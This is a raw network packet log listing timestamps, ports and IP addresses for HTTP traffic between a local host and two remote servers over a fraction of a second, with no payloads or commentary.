Jan 14, 2022 12:30:17.287815094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.287904024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.288003922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.288104057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.288218975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.288305044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.288631916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.288732052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.288820982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.288937092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.289077044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.289179087 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.289272070 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.289386034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.289477110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.289562941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.289668083 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.289808989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.289906025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.289988995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.290271997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.290386915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.290476084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.290566921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.290657043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.290741920 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.290834904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.290923119 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.291013956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.292038918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.292155027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.292243004 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.292347908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.292506933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.292597055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.292682886 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.292781115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.292923927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.293138027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.293257952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.293462038 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.293567896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.293674946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.293869019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.294038057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.294125080 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.294153929 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:17.294225931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.294289112 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:17.294326067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.294428110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.294584036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.294850111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.295116901 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.295310020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.295478106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.295655966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.295823097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.295977116 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.296102047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.296236992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.296387911 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.296529055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.296638012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.296747923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.296842098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.296952009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.297041893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.297146082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.297236919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.297394991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.297483921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.297585964 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.297674894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.297775984 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.297864914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.297965050 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.298055887 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.298155069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.298247099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.299210072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.299323082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.299431086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.299530983 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.299631119 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.299721956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.299819946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.299997091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.300107956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.303499937 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:17.303550005 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:17.306168079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.306294918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.306402922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.306492090 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.306593895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.306682110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.306792974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.306874990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.306972980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.307060957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.307161093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.307246923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.307348967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.329319000 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:17.329335928 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:17.331386089 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.331701040 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.347454071 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.350512028 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.352514982 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.358201981 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.358577967 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.360915899 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.360949039 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.366921902 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.368304968 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.386658907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.386796951 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.386888027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.386996984 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.387098074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.387190104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.387290001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.387387037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.387489080 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.387577057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.387680054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.387770891 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.387876034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.387969971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.388067007 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.388155937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.388257980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.388345957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.388448954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.388541937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.388641119 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.388731003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.388834000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.388921976 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.389025927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.389117002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.389215946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.389308929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.389415026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.389503956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.389605999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.389698029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.389802933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.389895916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.390002966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.390089035 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.390194893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.390286922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.390412092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.390505075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.390607119 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.390692949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.390794992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.390885115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.390984058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.391078949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.391179085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.391263962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.391369104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.391459942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.391556978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.391650915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.391752005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.391839981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.391944885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.392030954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.392131090 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.392220020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.392323017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.392414093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.392518044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.392604113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.392702103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.392803907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.392889977 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.392992020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.393094063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.393182993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.393273115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.393376112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.393464088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.393565893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.393659115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.393770933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.393896103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.393976927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.394087076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.394262075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.396241903 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.396339893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.396446943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.396537066 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.396637917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.396724939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.396830082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.396924973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.397027016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.397111893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.397212982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.397299051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.397655964 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.397763014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.397862911 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.424032927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.424133062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.424227953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.424320936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.424427032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.424515009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.424607038 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.424716949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.425184965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.425349951 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.425441027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.425528049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.435880899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.435991049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.436106920 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.436209917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.436300039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.436403036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.436496019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.436599016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.436685085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.436789036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.436882019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.436979055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.437072039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.437170029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.437258005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.437405109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.437500000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.437603951 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.437693119 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.437796116 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.437886953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.437993050 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.438085079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.438189983 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.438273907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.438376904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.438469887 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.438577890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.438663006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.438770056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.438858986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.438963890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.439052105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.439157009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.439248085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.439352036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.439441919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.439549923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.439635038 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.439738035 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.439830065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.439930916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.440021992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.440124989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.440213919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.440316916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.440408945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.440519094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.440614939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.440772057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.440864086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.440968990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.441059113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.441164970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.441257000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.441483021 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.441629887 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.441723108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.441818953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.441917896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.442012072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.442111015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.442210913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.442300081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.445955038 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.446062088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.446161032 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.446170092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.446175098 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.446199894 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.446271896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.446367979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.446475029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.446557999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.446657896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.446769953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.446858883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.446959019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.447048903 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.447148085 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.447159052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.447196007 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.447261095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.447364092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.447455883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.447474003 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.447555065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.447659969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.447751045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.447792053 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.447804928 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.447859049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.447947979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.448049068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.448105097 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.448151112 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.448153019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.448256969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.448345900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.448451996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.448544025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.448649883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.448702097 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.448751926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.448843002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.448944092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.449033976 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.449136972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.449229002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.449330091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.449424028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.449532986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.449614048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.449717045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.449810982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.449911118 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.479650974 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.479664087 CET	80	49914	185.215.113.35	192.168.2.4
